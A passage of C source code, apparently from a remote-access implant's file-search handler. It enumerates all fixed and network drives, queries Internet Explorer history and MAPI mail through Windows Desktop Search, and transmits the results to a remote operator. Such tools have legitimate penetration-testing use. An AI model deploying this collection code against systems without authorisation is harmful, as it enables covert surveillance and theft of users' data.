			BREAK_WITH_ERROR( "[SEARCH] request_fs_search: pResponse == NULL", ERROR_INVALID_HANDLE );

		pOptions = (SEARCH_OPTIONS *)malloc( sizeof(SEARCH_OPTIONS) );
		if( !pOptions )
			BREAK_WITH_ERROR( "[SEARCH] search_via_api: !pOptions", ERROR_OUTOFMEMORY );

		pOptions->cpRootDirectory = packet_get_tlv_value_string( pPacket, TLV_TYPE_SEARCH_ROOT );
		if( !pOptions->cpRootDirectory )
			pOptions->cpRootDirectory = "";

		if( strlen( pOptions->cpRootDirectory ) == 0 )
			pOptions->cpRootDirectory = NULL;

		pOptions->bResursive = packet_get_tlv_value_bool( pPacket, TLV_TYPE_SEARCH_RECURSE );

		pOptions->cpFileGlob = packet_get_tlv_value_string( pPacket, TLV_TYPE_SEARCH_GLOB );
		if( !pOptions->cpFileGlob )
			pOptions->cpFileGlob = "*.*";

		wds_startup( &WDSInterface );

		if( !pOptions->cpRootDirectory )
		{
			DWORD dwLogicalDrives = 0;
			char cIndex           = 0;

			dwLogicalDrives = GetLogicalDrives();

			for( cIndex='a' ; cIndex<='z' ; cIndex++ )
			{
				if( dwLogicalDrives & ( 1 << (cIndex-'a')) )
				{
					DWORD dwType   = 0;
					char cDrive[4] = {0};

					sprintf_s( cDrive, 4, "%c:\\\x00", cIndex );
				
					dwType = GetDriveType( cDrive );

					if( dwType == DRIVE_FIXED || dwType == DRIVE_REMOTE )
					{
						pOptions->cpRootDirectory = (char *)&cDrive;

						dprintf( "[SEARCH] request_fs_search. Searching drive %s (type=%d)...", pOptions->cpRootDirectory, dwType );

						search( &WDSInterface, NULL, pOptions, pResponse );
					}

				}
			}

			pOptions->cpRootDirectory = "";

			wds3_search( &WDSInterface, L"iehistory", NULL, pOptions, pResponse );
			wds3_search( &WDSInterface, L"mapi", NULL, pOptions, pResponse );
		}
		else
		{
			if( strcmp( pOptions->cpRootDirectory, "iehistory" ) == 0 )
			{
				pOptions->cpRootDirectory = "";
				wds3_search( &WDSInterface, L"iehistory", NULL, pOptions, pResponse );
			}
			else if( strcmp( pOptions->cpRootDirectory, "mapi" ) == 0 )
			{
				pOptions->cpRootDirectory = "";
				wds3_search( &WDSInterface, L"mapi", NULL, pOptions, pResponse );
			}
			else
			{
				dwResult = search( &WDSInterface, NULL, pOptions, pResponse );
			}
		}


	} while( 0 );

	if( pResponse )
	{
		packet_add_tlv_uint( pResponse, TLV_TYPE_RESULT, dwResult );

		dwResult = packet_transmit( pRemote, pResponse, NULL );
	}

	wds_shutdown( &WDSInterface );

	if( pOptions )
		free( pOptions );

	dprintf( "[SEARCH] request_fs_search: Finished. dwResult=0x%08X", dwResult );

	return dwResult;
}